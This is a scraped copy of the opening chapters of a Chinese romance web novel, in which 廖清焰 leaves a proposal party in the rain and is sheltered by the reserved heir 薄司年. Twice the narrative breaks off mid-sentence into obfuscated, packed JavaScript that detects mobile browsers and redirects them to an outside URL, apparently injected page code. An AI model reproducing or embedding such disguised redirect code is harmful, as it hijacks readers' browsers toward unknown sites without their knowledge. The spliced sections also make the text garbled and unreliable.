《你或像你的人》 1. 01.弄臣 《你或像你的人》 文/明开夜合 2026/04/16 - chapter01 “清焰,我在跟你说话。” “我在听啊。”廖清焰把脸转过来,看着周琎,无辜眨眼。 秾艳昳丽的女孩子,带妆时更是漂亮得让人屏息。 周琎定了定神,“你现在走还来得及……”廖清焰窜行于甜品台之间,像只穿花蝴蝶,周琎不得不跟紧两步,“我叫司机送你。晚点我再去找你。” “我为什么要走?”廖清焰停步,把一小块费南雪送进嘴里。狼吞虎咽,像是三天没吃饭一样。 周琎看着她满不在乎的样子,几分气结:“我等会儿要跟虞亿宁求婚,你说你为什么要走?” “你求你的。”廖清焰从台子上端了杯饮料,递到嘴边喝了一口,停住动作,像是恍然大悟,“你怕我抢亲?放心我不会的……” “你能不能严肃一点。”周琎夺过她手里的杯子,往台面上一搁,语气凝然三分。 相处多年,廖清焰很少见周琎生气,他这人绷起脸来,还是有那么几分吓人。 “……我很严肃啊。”廖清焰小声说。目光时不时瞟向杯子。那甜酒挺好喝的,她还没喝够。 “我昨天在微信上就跟你说过,今天不用来。你明知道……” “我知道啊。” 廖清焰的父亲,仰仗周家发迹过一段时间,那时廖清焰被送进了霁城外国语中学,与周琎同班。 彼时两人同进同出,又因廖、周两家关系匪浅,常被以为是情侣。 两人没有澄清,互作彼此的挡箭牌。 后来廖家败落,债台高筑,廖清焰也从霁外转学。 与周琎的友谊倒没受影响,一直延续至今。 周家三代经商,在霁城颇具声望。财富累积,圈层分化,壁垒森严。 廖家最有钱的时候,也不过是借势周家,堪堪摸到他们这个圈层的边,后来家道中落,更应该自觉夹起尾巴做人。 廖清焰偏不。仗着跟周琎关系好,聚会回回不落,还格外张扬高调。 人做任何事都有个目的,廖清焰不靠混圈包装自己,提升身价,撬动更大利益,那大概率只有一个目的:在周琎面前保持存在感,拉高他的沉没成本,博一个嫁入周家的机会。 廖清焰长得漂亮,却不端美女架子,会说话,又捧场,嘴还严实,这样的人到哪儿都不乏朋友,在这个圈子里也不例外。 但朋友与朋友也有分类,有人真心,有人逢场作戏,还有人,就等着看廖清焰的最终下场——周家同虞家产业互补,周琎很早就明白,自己大概率未来会跟虞亿宁结婚。 他看得明白的事,其他人也看得明白。 所以他们就在等着这出好戏什么时候演到高-潮这一幕。 “你既然知道,为什么不替自己好好打算?清焰,我不想让别人看你的笑话。” “我又不在乎。” “那你在乎什么?”周琎火气被激了起来,“你明明待得并不舒服。你图什么?” “……你应该清楚我真的不图嫁入周家。” “我什么时候说了你图这个?” 周琎意识到自己情绪稍有失控,抿嘴住了声。 廖清焰也暂且没说话。 她把剩一半的点心放回盘子里,转身背抵餐桌,往高阔的客厅里望去。 哪怕今天的聚会不是以求婚为目的,虞亿宁也是绝对主角——她到哪里都能轻易成为主角。以她为中心,大家自发围坐,依照家世、资历、远近亲疏……谁C位,谁镶边,明明没有宣之于口,大家却都心里门儿清。 廖清焰看到这样的情景,总会想到自己小时候看过的动物世界,那也是一个等级森严的社会,不被信任的猩猩,连给猩猩王捉虱子的机会都没有。 大家心里清楚的那一套,她有时却会故作糊涂,故意惹出一些不合时宜的笑话。 但大家又都不约而同地十分宽容,仿佛觉得:都廖清焰了。 她因为自己的不懂事,被发了一块免死金牌。 这块免死金牌附带的价码:留着她等着看好戏。 就冲这一点,她走了这戏不就坍台了,烂尾了,多么扫兴。 西方宫廷或者贵族的府邸,会有一个“弄臣”的角色,是专门供主人娱乐、逗趣的侍从,其职责便是以滑稽言行来取悦君主或权贵。 在廖清焰看来,所有人都在一出戏里,国王、权贵和弄臣,并无本质区别,恐怕有的人以为自己是权贵和国王,实际才是那个真正的弄臣。 ……但这样解释,恐怕周琎也不理解,还会愈发觉得她这人甘做“丑角”不思进取。 “你说……”廖清焰慢慢开口。 周琎斜眼看她。 “外面是不是在下雨啊?” 周琎便秘一般的表情仿佛在说:你憋半天就憋出这么一句话? “我叫司机送你。”周琎再次坚持。 “真不用。你不用管我了。”廖清焰抬起手臂,把那杯只饮一口的甜酒端了回来,“忙你自己的事去吧。祝你求婚成功。 她wink了一下,复刻了《了不起的盖茨比》电影里李奥纳多举杯的那个姿势。 “……”周琎恨铁不成钢,“行。随便你吧。” 反正他已经尽了提醒的义务,是她自己不领情。没空继续耽搁,求婚是出大戏,他得准备上场了。 廖清焰的心情半点没受影响,继续往肚子里塞吃的。她从拍摄地直接赶回来,中饭和晚饭都没吃。点心太小巧了,根本不顶饱。 有一秒钟,她宁愿自己想见的人今晚不要来,好让她甘心离场,去陈叔那里吃一碗热腾腾的汤面,他们9点就打烊,下雨天可能下班更早,吃不上好可惜的。 胡思乱想时,有人靠近。 廖清焰猛地瞥去一眼,心里一慌,待看清楚不是,又镇定下来。 “还以为廖小姐今天不会来。”来人到她身旁站定,目光去扫甜品台上的内容,像是没什么想吃,于是随意拿了一块她手里一样的糕点。 模仿其实是一种博取好感的无意识行为,很多人注意不到这一点。 “我为什么不能来。” “因为……”男人顿了一下,似乎觉得把话挑得太明白,对她有些残忍。 男人叫叶惟舟。 廖清焰认人很慢,记住他纯粹因为,他侧脸的某个角度很眼熟。他家庭出身是个谜,读书是在国外读的,似乎是电影专业,回国在做导演,至于有什么作品,不知道,远超廖清焰好奇心的极限。 叶惟舟站在她旁边,咬了一口甜点,咽得很勉强,起头的话题他没继续,顺着她站立的方向,往门外瞥去,“好像下雨了。” “噢。” 叶惟舟并无一点被敷衍的难堪,慢慢地又咽了一口点心,“上次说的事情,廖小姐考虑得怎么样了?” “我不是已经拒绝了吗。” “我说,廖小姐不用着急拒绝我,可以再慢慢考虑。” “可我已经拒绝了呀。” “真的不再考虑一下?”叶惟舟看向她。 “不考虑。我不会演戏。你找别人吧。” “那并不难,我们有老师培训。” “我有阅读障碍,背不下来台词。”廖清焰随口胡诌。 雨幕里似乎有人走往门口,她眯住了眼睛细看,心思已经飘远。 “据科学研究,患有中文阅读障碍的人,比例并不算高。” “那我就是罕见的案例。对不起啦……”廖清焰放下点心和酒杯,拍一拍手指上的粉屑,她已经看清楚了来人的轮廓,“有些事情就是这么不凑巧。我去趟洗手间,叶导你随意。” 离远了甜品台,廖清焰才加快脚步。 一闪身进了更衣室,反锁上门。 妆容完好,口红略有褪色。她对镜补口红,自顾自地笑了笑。 好徒劳的行为。 她应该,从来不会进入他的视线。 在更衣室里待了一阵,廖清焰走回原处。 环视一圈,虞亿宁仍旧坐在那一组沙发中心的位置,但在吧台处,已然悄无声息地形成了另一个核心。 吧台旁站着一个身量很高,面容英俊的男人,穿一件半旧的黑色薄毛衣,手里端着玻璃水杯,微微垂眼,正听人说话。 他似乎从未“盛装”出席过任何聚会,从来都像是随意从衣柜里取下一件衣服套上就出了门。但出众到绝无仅有的长相与气质,使得穿什么都是盛装。 他来之前,屋里一切都只是虚假的舞台布景;他来之后,她的五感似乎才开始运作。 水晶灯过亮、香氛太浓、此刻在虞亿宁身旁扮演“弄臣”角色的那一位笑声太吵…… 所有细节,开始具实地占据她的思绪,也影响她的行为,让她的呼吸和动作,都变得不自然,违背她“不在乎”的处事原则。 廖清焰随手端了一杯饮料,小口地抿着,目光一次一次,蜻蜓点水般的掠过吧台那一角。 这一点她做得很好,迄今为止,还没有一个人发现,她视线的真正落点究竟在哪里。 这台拙劣舞台剧,她玩得不开心了,随时可以离场。 但她不想让薄司年,和她的名字扯上任何关系。 余光里,薄司年腕骨分明的手,把玻璃杯放了下来,头又低了两分,朝向站在他身旁的年轻女人,认真倾听。 他一贯处事冷淡,唯独此刻,显出一些难得一见的专注。 女人有些面善,廖清焰搜肠刮肚,终于想起来,高中时见过。 当年在霁城外国语中学,廖清焰只读了两年不到。 薄司年大她两届,所以她只短暂与他同校过一年。 此刻同薄司年说话的女人,当年跟薄司年同班,两人应当是世交,常常一同出入。 那时廖清焰随口找周琎打听过,得知那并不是薄司年的女朋友,但其性质,就如同虞亿宁之于周琎。 家里选的,终归是要结婚的……大约就是这样的关系。 廖清焰问过周琎喜不喜欢虞亿宁。周琎回答,喜欢不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨势不小,廖清焰走到凉亭那儿就后悔了。初春的雨冷得要命,这样淋一场肯定生病。 她不适合演苦情戏,拿健康做代价,就更不适合了。 走进凉亭,掏出手机打车。 富人的别墅老爱建在鸟不拉屎的地方,附近没有半辆可用的车。 她让手机停留在叫车页面,背靠凉亭柱子。 有噼啪的声响,混在哗哗的雨声之间,偏头去听,是角落那棵叫不出名字的树,树叶展阔,像掌心向上的手掌。 胸腔里堆积着一团混沌模糊的情绪,她不知道是什么,只是很沉,像下着雨的那团铅云占据了心脏的位置。很小的时候,她就学会了不要去分析自己的情绪,后来就仿佛彻底生疏了这项技能。 她呼一口气,想把铅云呼出去,没什么用。 十分钟过去,还是没有打到车。 通讯录里把周琎的名字翻了出来,又作罢。计划是八点求婚,现在是八点过五分,此刻他多半已经求婚成功,正在跟虞亿宁拍照,这种时候找他求助,未免不厚道。 打车软件有个加价调度的选项,廖清焰咬牙,正打算勾选,两束车灯投了过来。 逆光看不清,她眯住眼睛,车近至咫尺,她反应过来这是谁的车时,脑袋短路了一秒钟。 车窗下落,一道清冷的男声,穿过雨声与雨刮器运作的声响,几分模糊地传了过来,“廖小姐需要帮忙吗。” 语气淡得几乎构不成一个疑问句。 廖清焰的第一反应是抬臂去掩胸口的汤渍,意识到是徒劳,没有这么做。 她反应比平常慢得多,因为从来没有排练过这样的情况。 一隅留作窥探的角落,陡然被月光照亮,藏在角落里的人,除了手足无措,很难做出其他反应。 薄司年算不得一个热心的人,至少据廖清焰的了解是这样,毋宁说他大多时候都挺置身事外。 圈里除了周琎之外,另一个最好的朋友,有一次聊起了薄家的事,随意点评一句,说你不觉得薄司年有点像个空心人吗。 廖清焰在心里说,可这就是他迷人的地方呀。 能叫一个空心人生出恻隐之心,那她看起来一定狼狈极了吧。 可是,她宁愿不被他看见,也不想被他看见狼狈。 黑沉的雨天,一切都浸在一层灰白的雾气之中。 廖清焰隔着雨雾,盯住薄司年。 片刻后她轻声一笑,拿轻佻语气说道:“你真想帮忙那就跟我睡一觉吧。” 故意冒犯他,他一定觉得她莫名其妙,不识好歹,然后扬长而去。 快一点走,快一点,别看着她。 双闪灯与心跳同频。 响过五下之后,薄司年声音再度响起,淡得没有一丝起伏:“廖小姐玩笑开得不错。” 2. 02.游鱼 让人意外的回答,廖清焰愣了一下。 她常能以一种混不吝的姿态,一两句打发掉圈子里的各种人,因为他们绝大部分都好面子,且从小锦衣玉食,不大能受气。 没道理被给了难堪,还要继续给她递台阶。 薄司年没有如她所料关窗即走,廖清焰没后招了。越是局促,她越会保持笑容,只是语气缺乏一点可信度,“我没开玩笑呀。” 薄司年此前虽然脸朝向她,却似并没有在看她。此刻,她才看见他眼皮微抬,目光移到她脸上,停留。 他并不遮掩自己的审视,只不过也绝不会让表情泄露自己审视后的结论。 廖清焰微笑后退半步:“谢谢你。我应该很快就能打到车了。” 两秒钟后,薄司年收回目光,也将头转回前方。 正要关窗,车后驶来一辆车。 住宅区禁止鸣笛,那车被堵住去路,大约着急,闪了几下灯,示意让行。 薄司年顺口问司机:“谁的车。” 司机瞥后视镜,“好像是叶导的。” 薄司年没有作声。 若无吩咐,司机不会有下一步的行动,他手搭方向盘,绝不回头催促雇主做决定,就这样淡定地等着,任由后方车子车灯一闪再闪。这些开车的规矩,是薄司年的祖母定的,没有这种静定的性格,他也不能在薄家一干就是十五年。 廖清焰刻意地不再去看薄司年,微微踮脚,抬眼去瞧后面那辆车是谁的,能不能叫她厚着脸皮搭一程顺风车。 只是雨雾漫漶,车头又让薄司年的车挡住了,看不清楚。 “上车,廖小姐。” 廖清焰一怔。 车窗还没关上,薄司年不知什么时候,又将脸转了过来,雨夜昏暝,不辨情绪,声音依旧冷淡,如有雨水浸透:“载你一程。” 车安静峙立,好像她不上,就绝不会开。 后车那位着急的倒霉蛋,是绝无胆量骂薄司年的,骂也只会骂她不赶紧上车,挡人去路。 廖清焰反应过来的时候,发现自己已经往前迈了一步,她的身体先于意识替她做出了决定。 如果这就是待在周琎朋友圈的最后一天,能与薄司年独处一程,也算完美结局。 司机下车,撑伞来接,虽然廖清焰觉得这并无意义,她的衣服反正已经打湿了。马车式的对开车门,上车后自动回关,窗外雨声瞬间被隔绝,车厢内安静得几乎能听见呼吸声。 廖清焰在微微发抖,轻度失温后陡然进入温暖空间的正常反应。 细微窸窣声。 随后一方毛毯,被轻掷到了她的膝盖上。 灰色小山羊绒面料,她手指轻攥,又否定了自己的判断,更像是骆马绒。 “我衣服上有汤汁,会弄脏。” “有人处理。” 廖清焰从来不是畏缩的人,好的坏的,别人有的她都想够一够,够不着再说。此时浑身湿潮地坐在洁净温暖的车厢里,却生出束手难安的情绪。 她希望此刻坐在薄司年身边的,是平常那个光鲜亮丽的自己;可如果不是足够狼狈,又不会触发薄司年的恻隐之心。真是个无解的悖论。 但她很快又自洽:没关系,光鲜的狼狈的,他都只是心血来潮日行一善罢了,很快会忘记。 拿毛毯裹住身体,缓慢擦拭头发。 从前在不见光的地方,廖清焰把薄司年观察了个遍,连他喉结上有颗小痣这种细节,都了如指掌。 此刻近得两人之间只余一个身位,她却一眼也不敢往他那边看。他明明只是姿态不甚端正地坐着,不言不语,存在感却强烈得惊人,叫人呼吸放缓,生怕惊扰。 车驶出了别墅区,薄司年淡淡地问:“廖小姐住在哪里。” 薄司年回国不到四个月,圈子里那些不事生产的少爷小姐们,日日都有聚会,但能叫得动他的,少之又少,且他行动似乎很看心情,有时候允诺过的,也会临时放鸽子。 都说喜欢一个人,就会将其无限美化,廖清焰就不会。她知道他毛病一堆,不但不会替他粉饰,还要强烈谴责。鸽子王,害她扑空好多次。 聚会回回不落,能逮到他的次数却屈指可数,他一出现就自发成了核心,可这个核心寡言少语,她想听他多说两句话都难。 一直觉得他的声音,像是流淌的雪水,微冷,并不凛冽,因为众所周知,天暖时雪才会化作水。 “我住在……”廖清焰叹声气,这才想起来,家里的热水器坏了,房东是个走路颤巍巍的老太太,管不到这些事,他们一贯是自己联系了维修工,拿收据找房东报销。 叹气和一言难尽的沉默,或许被薄司年解读成了其他意思,也或许他根本懒得费神细想,她不方便报出地址,他便接着问:“习惯住哪家酒店。” 语气和上一句一样,推进流程的询问,好让司机能有个方向。 当然,赶紧把她打发掉的意味也很明显。 “……你捡过流浪猫吗?”廖清焰忽问。 薄司年一直目视前方,此时偏过头来,微低目光,看向她,像是略有费解,这没头没脑的话题。 “一般来说,捡流浪猫是个麻烦事,因为你会发现,你不得不先给它洗澡,再为它驱虫,有病还要送去治病,然后说不定还得掏一笔钱帮它绝育,最后,还要找一户好人家送养,回访超过半年,确定过得不错,才会彻底安心。不过……”廖清焰笑一下,“人就不一样啦,人有手有脚,还有可怜的自尊心,没有那么麻烦。” 说完,她朝向司机:“司机师傅,麻烦你找最近一家便利店把我放下来吧。” 薄司年请她上车是一时恻隐,她感激他的善意,也体谅他怕麻烦的心理。 司机没有第一时间回答,转头看薄司年,征求意见。 薄司年敛目,没有什么表情,微微颔了颔首。 包里手机振了几下,像为这略显尴尬的气氛,找了个出口。 廖清焰拿出来,贴住耳朵听完了语音条,长按手机下方,同样回以语音。 “热水器没关系的,我去朋友那里留宿,明天找人来修。” 松手,发出去,再次长按。 “谢谢您还记得我生日,我不过生日的,想等我爸回来了一起过。您早点睡吧赵奶奶,不用等我。下雨你门窗关好,不要像上次。” 同房东奶奶说话,廖清焰总会将语气放得很温柔,仿佛对面的人不是75岁而是5岁。 那边很快回复,应允下来,又絮叨交代了几句。 车厢归于平静。 雨势变小了些,雨滴在玻璃窗上,把路灯光拖拽出歪歪扭扭的轮廓。 她盯着出神,忽听那道微冷的声音再次响起,“今天是你生日?” 她原本以为,敲定了她的去处之后,薄司年就不会再开口了。 “嗯。”廖清焰答。 车子倏尔无声地驶过了一个路口。 “去霁山路。”薄司年吩咐司机。 廖清焰看向薄司年,他没有说明这处地址是什么地方。 她心脏突地跳了一下。 薄司年微垂着眼,情绪不明。 她不知道他是否清楚她此刻心里在想什么,以他的敏锐,或许洞若观火。 但仿佛随她怎么理解,是她的自由,他不负有解释的责任。 廖清焰难以启齿追问,沉默如钝刀凌迟,心里的妄想像一丛微弱烛火,在风里不断摇晃。 又开了一阵,灯火渐稀,草木蓊郁,车子像是一头扎进了葳蕤的植物园里,随后悄然停泊于一棵枝冠繁茂、蔽日遮天的树下。 薄司年终于再次开口:“休息一晚,明天有司机送你回去。进去管家会接待你,需要什么直接吩咐。” 说完,依然坐在原处,没有下车的打算。 树影婆娑,他自端坐,仍然高踞神坛,没有被她拽下。 烛火熄灭,廖清焰毫不失望,甚而心生些许自豪:不愧是她看上的人。 “那就给你添麻烦了。”毛毯整理成了披肩,廖清焰手指勾住自己的提包,转身下车。 一栋三层高的洋楼,老建筑,做了翻新,花园里各种植物高低错落,相映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471307|201496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成趣,有种野生野长的意趣。 她上前揿铃,很快便有人来开门,穿着黑白两色的制服,一个把“可靠”写在面相上的中年男人,应当就是薄司年所说的管家。 可能薄司年已经叮嘱过了,吴管家没有多问一个字,微笑将她迎进门,询问她的饮食喜好,吩咐厨师给她做夜宵,又安排了一个女佣工过来,带她去洗澡换衣。 廖清焰起初还不能肯定,这是不是薄司年的家,虽然隐约有他长住在霁山路的印象,直到在浴室外的更衣室里,看见了角落高几上的一幅小画。 那是个小众新锐画家的作品,其风格先锋而抽象,就像香菜,有人喜欢,有人退避三舍。薄司年可能是他作品的最大藏家,这件事是某次去看画展,周琎提起的,本意大约是质疑薄司年的审美。 且不说她觉得薄司年的审美棒得不得了,即便不是这样,他的穿着打扮、吃穿用度、兴趣爱好,他们照样会争相模仿。薄司年喜欢射击,由此带起了圈里射击的风潮,养活了好几家高端的射击俱乐部。 廖清焰泡了一个漫长的热水澡,浑身热乎乎地,换上家居服,回到餐厅。夜宵已经备好,一碗卧了溏心蛋的面条。 吃完,管家过来,礼貌询问她有无吃饱,需不需要再添。 廖清焰倒被吓了一跳,因为根本不知道他从哪里冒出来的,简直神出鬼没。周琎家里也有管家和佣工,但就达不到这样雇主没有需要时,几如隐身的境界。 “吃饱了。”廖清焰笑说,“谢谢。帮我跟厨师说一声,味道很好。” “廖小姐吃得开心就好。卧房已经收拾好了,廖小姐随时可以去休息。” 廖清焰打量四周,“薄司年平常住在这里吗?” 吴管家但笑不语。 廖清焰不为难他,“我可以稍微参观一下吗?” “一楼可以随意参观。” 托斯卡纳风格的装修,材质保持了许多天然的粗粝感,米色的石料与木材,把挑高的一楼,装饰得不乏暖意。 虽然并无立场,她却略觉放心,因为薄司年不是住在黑白灰性冷淡风格的屋子里。 廖清焰端上水杯,踱步走往客厅那高达六七米的落地玻璃窗前。 外面是个封闭的庭院,种着一丛一丛的竹子,雨中竹影婆娑,泼墨画的意境,理应有沙沙声,但被玻璃窗隔绝了。 廖清焰问吴管家借了一身雨衣,披上以后,从留作维护之用的玻璃小门出去,走到了庭院里。 她忘记是哪部电影里,有这样的场景,也是雨天,灰淡的日光透过玻璃窗,把雨水流动的影子投向白墙,人在屋里说话,安静而暧昧。 她蹲在干净的石板地上,掏出手机,打开手电。 室内关了灯,手电光透过雨水和玻璃,变成了一条条灰色的小鱼,在白墙上游动。 她玩得不亦乐乎,没有注意到,有人悄然地走到了玻璃窗的另一端,站立片刻之后,支膝坐了下来。 手电扫过一圈,廖清焰一愣,缓慢地将灯光照回方才经过的角落。 玻璃幕墙的对面,薄司年坐在地板上,一条腿支起,手臂随意搭在膝盖上。衣服不知道什么时候换过了,一身黑色的居家服。 他正看着她,脸上没有表情,灯光如刻刀,从昏暗里雕出分明的眉骨与挺拔的鼻梁。眼窝微陷,长睫毛压住了眸色偏淡的眼睛。 他有一种阴郁苍白的英俊,薄唇微抿,显得像是不高兴,细看却并没有。 廖清焰完全吓得呆住了。 嘴唇微启,瞳孔张大,真正的一脸呆相。 她妆已经卸得干干净净,露出原生的长相,发际线额发细碎,野生眉毛根根不驯,配上黑白分明的眼睛,意外的有种凛然的正气。嘴唇唇珠饱满,上嘴唇像个弧度并不夸张的M形。 薄司年盯着她看了很久,久到她心率失衡。 她明明没有做什么坏事,却像被人赃并获一样忐忑。 终于,廖清焰看见他指节微屈,轻轻敲了敲玻璃墙,嘴唇开合。 听不见声音,但嘴型足以分辨,说的是:进来。 3. 03.公平 一小时前。 将廖清焰送抵霁山路,薄司年让司机掉头,开往柏悦酒店。 落雨的夜晚,路上车辆疏疏落落,车灯如微弱萤火,扑溺在黑沉之中。 车子无声地开了好一阵,薄司年再度点亮手机屏幕。 [N:您那边结束了吗?] 消息停滞于这一条,未得回复。 霁山路离柏悦酒店不远,霓虹璀璨的高楼遥遥在望,薄司年又一次解锁手机,这回直接拨出电话。 打给司静鸥的电话,通常会先经过她的助理汉娜。好在汉娜24小时on call,接通很快。 薄司年说句打扰,询问:“庆功宴结束了吗?” 汉娜那边存了号码,知道是他打来的,答道:“已经结束好一阵了。” “司老师回酒店了吗?”在外人面前,薄司年通常只会称呼司静鸥为“司女士”或者“司老师”。 “没有,司老师去朋友家里喝茶了。” 薄司年翻腕看表,离说好的时间只剩五分钟。 看来,司静鸥已经完全忘记,他们母子在酒店的行政酒廊,还有个会面二十分钟的约定。 “有什么事吗,Simon?我可以帮你转告司老师。不过可能要稍等一会儿,司老师的私人局不喜欢别人打扰。”汉娜是德国人,中文却很流畅,只有个别词语吐字归音不够标准。 车灯疾驰而过,车厢陡然陷入一片昏暗。 薄司年说:“帮我问一问,明早司老师需不需要送机。” “好的。我问过司老师以后,晚一点回复你。” 电话挂断,手机仍被薄司年捏在手中,直至屏幕彻底熄灭。 许久,薄司年伸手轻揉额角,低声吩咐:“回老宅吧。” 潞水南路11号,是薄家的祖宅,房龄逾八十年的文保建筑。祖母章英侠在此长居,薄司年也在此从小长大。前些年,这房子报批相关单位做了整体修缮与水电改造,但相较于现代的住宅,总归显得不够便利。 薄家的名下自然不止一处房产,章英侠却只喜欢这里。她同薄司年祖父鹣鲽情深,此地是她的婚房,在丈夫英年早逝以后,就成了她的时间胶囊。 老街遍植槐树,一到春日,掩上窗户都关不住花香。章英侠喜欢这些景致,更喜欢车流寥落的幽静。 停了车,薄司年拾阶上楼。 走到半途,听见书房里传来章英侠同老管家讲话的声音,难得的言辞激烈:“老郑,你把我今天说的话一字不改地告诉给薄云舟,他想让那个杂种跟他姓,可以,让他先把薄这个姓还回来!赵钱孙李,随便那个杂种跟他姓什么,但只要我还在的一天,就别想沾薄家的边!!” 章英侠素有修养,“杂种”这种词,已是她骂人的极限。 老管家顺了会儿毛,章英侠似乎气顺了些,书房里安静一阵,薄司年正欲迈步,听见章英侠又问:“姓叶的现在在做什么?” 薄司年的祖父,过世时尚不足三十八岁。章英侠弃文从商,一己之力扛起了薄家的祖业,而今年逾古稀,身体康健,仍是薄家最不可撼动的掌舵人。章英侠人如其名,行事雷厉风行,又不乏兼济天下的侠气,对手都心服口服地称一句“铁娘子”。 这样在商场上称得上是叱咤风云的人,家庭生活却毫不如意。 儿子薄云舟到了谈婚论嫁的年纪,章英侠为其选定了闺中密友的女儿司静鸥为妻。只是没想到,成婚以后,薄云舟在司静鸥生下孩子没多久,就跟一个叶姓女人私奔了。 司家调查才知,在司静鸥怀孕期间,薄云舟就跟姓叶的出轨了。 章英侠将躲在国外的薄云舟绑了回来,亲自押着他跟司静鸥办了离婚。 孩子司静鸥当然不想要,就养在了章英侠的膝下。 章英侠自己的儿子害惨了闺蜜唯一的掌上明珠,她何止愧疚。 她常说,她这一生别的都问心无愧,唯独对好友、对静鸥,百身难赎。 管家似乎有些摸不准具体是指谁,便都一齐答了:“叶南琴还是在卖珍珠,叶惟舟最近回霁城了,似乎拉了一笔投资,筹备新电影。” “住哪儿?” “天宸府。” “我说那个叶惟舟。” “叶惟舟似乎是一个人住。” “他没跟他们住在一起?” “没。好像就前一阵元宵节,叶惟舟去那儿吃了一顿饭。” 章英侠冷哼一声:“还一起过元宵?他们倒成了整整齐齐的一家人。” 管家没吭声。 “你找人盯紧点,姓叶的找谁拉投资我管不着,但不要让他打着薄家的旗号招摇撞骗。” “目前倒是没有听说有谁议论他跟云舟的关系,可能他还算懂事,知道这种事乱说不得。” “他不说,久了别人看不出来?”一声茶杯轻碰木桌的声响后,章英侠又问:“联系静鸥了吗?” “联系了,说明早就走,赶下趟演出,时间来不及,这回就先不来吃饭了。” 章英侠长叹一声,不再作声。 薄司年静立片刻,终究没有上楼,不想祖母面对他还要强颜欢笑。转身下楼,原路折返,碰见端茶过来的一个保姆,随口叮嘱一句,让她别跟章英侠说他来过。 薄司年在槐树树荫下的车厢里坐了许久,吩咐司机,把车开回霁山路。 / 廖清焰穿着相对于她的身高,明显过长的黑色雨衣,慢慢吞吞地走往玻璃门。 抱着伸头缩头都是一刀的心情,廖清焰深吸一口气,抓住把手,把门打开。 客厅里一片黑暗,灯还是熄的,可能因为薄司年没有吩咐,无人擅动。 屋外有光,是藏在砖石间的地灯,只是照度低,叫人想到“一灯如豆”这个词。 适应了黑暗,才能从这点黯淡的光线里,区分出薄司年的轮廓。 他已经站了起来,却没有往里去,就站在玻璃墙边,面对着落雨的庭院。 廖清焰摘下兜帽,拉开拉链,脱下雨衣。水珠扑簌滚落,她把雨衣拿在手中,不知道应该把它放置在哪里。 这一点小事,实在不好开口询问薄司年——如有可能,她只想一棍子将他打晕,最好打到他失忆,彻底忘记今晚迄今为止发生的一切事情。 踌躇片刻,廖清焰直接将雨衣搁在了玻璃门旁的石料地砖上。她相信那位无所不能的吴管家,会处理妥当的。 而当手里没了东西,廖清焰意识到情况急转直下,变得更加尴尬:这下,她不知道应该放置在哪里的,成了她自己。 而就在此刻,薄司年转过头来,看了她一眼。 双腿想做叛徒,拔腿就逃,被她以理智劝服,拖拖沓沓地走到了薄司年的身边。 她方才太鬼鬼祟祟了,不交代清楚的话,不知道薄司年会不会报警把她抓起来。 廖清焰尽量想要显得若无其事,但开口的声音,如此干巴而不自然:“……你回来了。” “嗯。” “……我的意思是,你怎么回来了。” “这里是我家。”薄司年瞥了她一眼。 即便根本看不清,这一眼的意思,她还是能解读:正常人类怎么能问出这么呆的问题。 “我的意思是,你……”廖清焰放弃措辞,咬了咬唇,“你应该明白我的意思。” “不明白。” “……” 上位者最大的权力,其实不是荣华富贵这些明面上的东西,而是只要他们不想,他们就可以不必向任何人解释。 廖清焰有点生薄司年的气,虽然只是在心里小发了一下雷霆:你了不起。你了不起还不是因为我喜欢你。 她放弃了拐弯抹角,暗暗地呼了口气,控制自己的声音,不要失真得太厉害:“我很笨,说话也比较直接,所以我就直接问了。” “嗯。” “你是回来赶我走的吗?” “不是。” “那是回来跟我睡一觉的吗?” 在她话音落下以后,原本就充斥于整个空间的寂静,忽然间成倍放大。 廖清焰被这样的寂静吓到,好像才后知后觉,自己刚才一鼓作气说了什么惊人之语。 耳尖发烫,不由她控制。 意外自己似乎并不担心在薄司年那里坐实“轻浮”的标签,反倒担心妄想再次落空。 但愿他不至于这样恶劣,一次次给人希望又扑灭。 她斜眼去瞧薄司年,他穿一身黑色,比环境更深,比影子更似影子。 庭院里地灯的光,到他面颊的高度已经衰减得所剩无几了,自然无法叫她看清他的表情。 他在想什么,会嘲笑她吗,台阶都下来了,还硬要爬回去? 还是会终于彻底罔顾她的自尊心,把话说得明白无误,不存任何妄想的余地。 哪里知道,薄司年没有肯定也没有否定:“先问你一个问题。” “嗯。”廖清焰听见自己的声音已经彻底不像平日的音色了,即便只是缥缈的鼻音。 心脏跳得好快。 可薄司年在讲完这句之后,却又陷入沉默。 廖清焰在心里给薄司年列过一个清单,左边是优点: 一、个子很高很高,长得非常非常非常好看。 二、做任何事情都很有天赋。 三、偶尔会发发善心。 右边是缺点: 不守时、冷漠、傲慢、浪费粮食、不认真听人讲话、不珍惜自己的天赋(但有苦衷,可以理解)…… 在这个长长的缺点名单里,她今天要一口气连加三条:做事不考虑后果、装傻充愣、交流费劲。 廖清焰是一个害怕安静的人,她每次回到家,第一件事就是打开蓝牙音响,顺序循环播放她足有1000多首歌的歌单,除了拍摄需要,任何时候她都要让自己所处的空间充满音乐,没有音乐,电子书也可以,脱口秀也可以……相声或者评书,也不是不行。 今天同薄司年相处,她总在遭受沉默的酷刑。 廖清焰等了又等,等到她开始怀疑,他是不是金鱼脑袋,说过的话七秒就忘记,而准备好心开口提醒时,听见一声嗡振。 似乎是薄司年长裤口袋里的手机。 薄司年拿了出来,解锁,点开微信。 [汉娜:司老师明早还有个采访,她说结束以后就直接去机场,不需要送机。] 微薄的白色背光,把他的五官照亮。 不知道是什么微信内容,他看得面无表情,目光在屏幕上停留了一段足以称得上“长”的时间之后,手指轻敲屏幕,回复了消息。 随后熄屏,放回口袋。 在背光熄灭的一瞬间,廖清焰就将目光收了回去。 